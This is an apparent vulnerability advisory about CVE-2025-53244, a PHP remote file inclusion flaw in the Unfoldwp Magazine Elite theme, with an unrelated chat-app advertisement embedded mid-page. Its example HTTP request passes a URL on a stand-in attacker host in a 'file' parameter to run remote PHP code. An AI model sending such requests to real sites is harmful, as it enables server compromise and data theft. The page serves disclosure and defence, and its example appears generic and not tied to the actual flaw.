Overview
The CVE-2025-53244 vulnerability is a critical flaw that lies in the improper control of filename for Include/Require statement in PHP Program, also known as ‘PHP Remote File Inclusion’. This vulnerability affects the Unfoldwp Magazine Elite platform, a widely used content management system for online magazines. This flaw can potentially compromise an entire system or lead to significant data leakage, making it a pressing concern for organizations that utilize the Unfoldwp Magazine Elite for their operations.
Vulnerability Summary
CVE ID: CVE-2025-53244
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Unfoldwp Magazine Elite | n/a – 1.2.4
How the Exploit Works
The exploit takes advantage of the PHP Remote File Inclusion vulnerability, which allows an attacker to manipulate the PHP’s include/require statements to include remote files from an external server. This is usually done by injecting malicious URLs into system inputs. The attacker can then execute arbitrary PHP code in the context of the application, possibly leading to unauthorized access, data leakage, or even a full system compromise.
Conceptual Example Code
Here’s a conceptual example of an HTTP request exploiting this vulnerability:
GET /index.php?file=http://attacker.com/malicious_code.php HTTP/1.1
Host: vulnerable-website.comIn this example, the `file` parameter in the query string is manipulated to include a remote file (`malicious_code.php`) from an external server (`attacker.com`). This file contains malicious PHP code, which is executed when the request is processed by the server.
Recommendations
It is recommended to apply the vendor patch immediately to mitigate this vulnerability. In the absence of a patch, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure. Furthermore, organizations should regularly update their systems and applications to the latest versions and conduct regular security audits to identify and rectify any potential vulnerabilities.
